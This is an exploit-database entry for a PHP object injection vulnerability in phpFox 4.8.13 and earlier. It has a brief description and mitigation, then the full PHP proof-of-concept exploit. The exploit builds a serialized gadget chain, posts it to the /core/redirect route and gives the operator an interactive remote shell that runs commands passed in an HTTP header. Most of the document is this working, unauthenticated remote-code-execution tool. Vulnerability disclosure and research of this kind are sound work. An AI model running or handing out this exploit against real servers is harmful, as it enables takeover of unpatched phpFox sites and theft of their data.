header-logo
Suggest Exploit
vendor:
phpFox
by:
Egidio Romano aka EgiX
6.1
CVSS
HIGH
PHP Object Injection
915
CWE
Product Name: phpFox
Affected Version From: <= 4.8.13
Affected Version To: 4.8.13
Patch Exists: NO
Related CWE:
CPE: a:phpfox:phpfox:4.8.13
Metasploit:
Other Scripts:
Platforms Tested:
2023

phpFox <= 4.8.13 (redirect) PHP Object Injection Vulnerability

The vulnerability in phpFox <= 4.8.13 allows remote attackers to inject arbitrary PHP objects by passing user input through the 'url' request parameter to the /core/redirect route without proper sanitization. This can lead to various attacks, including executing arbitrary PHP code.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize and validate user input before using it in unserialize() or similar PHP functions. Additionally, keeping the software up to date with the latest security patches is crucial.
Source

Exploit-DB raw data:

<?php

/*
    --------------------------------------------------------------
    phpFox <= 4.8.13 (redirect) PHP Object Injection Vulnerability
    --------------------------------------------------------------
    
    author..............: Egidio Romano aka EgiX
    mail................: n0b0d13s[at]gmail[dot]com
    software link.......: https://www.phpfox.com
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] Vulnerability Description:
      
    User input passed through the "url" request parameter to the /core/redirect route is
    not properly sanitized before being used in a call to the unserialize() PHP function.
    This can be exploited by remote, unauthenticated attackers to inject arbitrary PHP
    objects into the application scope, allowing them to perform a variety of attacks,
    such as executing arbitrary PHP code.
    
    [-] Original Advisory:

    https://karmainsecurity.com/KIS-2023-12
*/

set_time_limit(0);
error_reporting(E_ERROR);

if (!extension_loaded("curl")) die("[+] cURL extension required!\n");

print "+------------------------------------------------------------------+\n";
print "| phpFox <= 4.8.13 (redirect) PHP Object Injection Exploit by EgiX |\n";
print "+------------------------------------------------------------------+\n";

if ($argc != 2) die("\nUsage: php $argv[0] <URL>\n\n");

function encode($string)
{
        $string = addslashes(gzcompress($string, 9));
        return urlencode(strtr(base64_encode($string), '+/=', '-_,'));
}

class Phpfox_Request
{
	private $_sName = "EgiX";
	private $_sPluginRequestGet = "print '_____'; passthru(base64_decode(\$_SERVER['HTTP_CMD'])); print '_____'; die;"; 
}

class Core_Objectify
{
	private $__toString;
	
	function __construct($callback)
	{
		$this->__toString = $callback;
	}
}

print "\n[+] Launching shell on {$argv[1]}\n";

$popChain = serialize(new Core_Objectify([new Phpfox_Request, "get"]));
$popChain = str_replace('Core_Objectify', 'Core\Objectify', $popChain);

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, "{$argv[1]}index.php/core/redirect");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_POSTFIELDS, "url=".encode($popChain));

while(1)
{
    print "\nphpFox-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    curl_setopt($ch, CURLOPT_HTTPHEADER, ["CMD: ".base64_encode($cmd)]);
    preg_match("/_____(.*)_____/s", curl_exec($ch), $m) ? print $m[1] : die("\n[+] Exploit failed!\n");
}